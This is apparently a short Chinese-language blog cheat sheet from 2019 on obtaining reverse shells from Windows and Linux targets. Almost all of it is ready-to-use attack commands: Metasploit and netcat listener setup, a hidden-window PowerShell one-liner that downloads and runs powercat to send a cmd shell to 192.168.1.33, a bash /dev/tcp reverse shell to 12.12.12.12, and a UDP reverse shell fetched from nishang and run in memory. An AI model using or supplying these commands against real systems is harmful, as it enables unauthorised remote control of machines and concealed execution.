powershell反弹shell 的几种方法
2019年07月20日如果想接收多个sessions的话,用msf执行以下命令进行监听
反弹成功以后,用sessions id 来选择要操作的目标
NC反弹
msfconsole use exploit/multi/hanler set payload windows/shell/reverse_tcp set lhost 192.168.1.33 set lport 888 run -j //如果只接收一个sessions的话,直接执行一下命令即可 nc -l -p -888
目标执行
windows
powershell -noprofile -windowstyle hidden IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.33 -p 888 -e cmd
linux
bash -i >& /dev/tcp/12.12.12.12/888 0>&1
基于UDP协议反弹
kali监听
ncat -lvup 53
目标执行
powershell -noprofile -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.33 -port 53
参考链接
https://www.cnblogs.com/chengd/p/7565280.html
https://www.jasonx.cc/archives/296.html